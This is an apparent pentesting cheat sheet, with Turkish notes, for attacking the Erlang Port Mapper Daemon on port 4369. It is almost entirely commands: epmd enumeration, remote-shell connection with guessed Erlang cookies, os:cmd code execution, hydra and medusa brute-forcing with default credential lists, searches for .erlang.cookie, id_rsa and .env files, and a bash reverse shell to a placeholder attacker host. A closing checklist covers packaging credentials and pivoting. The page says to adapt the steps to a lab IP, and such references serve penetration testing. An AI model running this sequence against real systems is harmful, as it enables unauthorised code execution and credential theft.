Skip to content

4369 - Pentesting Erlang Port Mapper Daemon (epmd)

EPMD erlang

Erlang Port Mapper node adlarını yayınlar. Zayıf/predictable cookie ile remsh = RCE. Hedef lab IP’si üzerinde komutları 4369 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. 4369 epmd_names.

  2. Node portlarını çıkar.

  3. Cookie dene/brute.

  4. erl -remsh ile komut.

Terminal window
nmap -Pn -sV -p4369 TARGET
Terminal window
nmap -Pn -p4369 --script epmd-info TARGET
Terminal window
epmd -names -port 4369
Terminal window
echo | nc TARGET 4369
Terminal window
erl -name attacker@ATTACKER -setcookie secret -remsh node@TARGET
cookies: secret, changeme, erlang, rabbit
Terminal window
find / -name .erlang.cookie 2>/dev/null
Terminal window
os:cmd("id").

Erlang Port Mapper Daemon (epmd) için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p4369 TARGET
Terminal window
nmap -Pn -p4369 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:4369' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',4369));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → Erlang Port Mapper Daemon (epmd)
Terminal window
hydra -L users.txt -P rockyou.txt -s 4369 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 4369
Terminal window
nmap -p4369 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit EPMD
Terminal window
msfconsole -q -x 'search EPMD; exit'
Terminal window
nuclei -u https://TARGET:4369 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:4369 -tags tech -silent || true
Terminal window
nc -nv TARGET 4369
Terminal window
printf '
' | timeout 3 nc -nv TARGET 4369
Terminal window
curl -vk --http1.0 http://TARGET:4369/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
epmd names → cookie → remsh → os:cmd RCE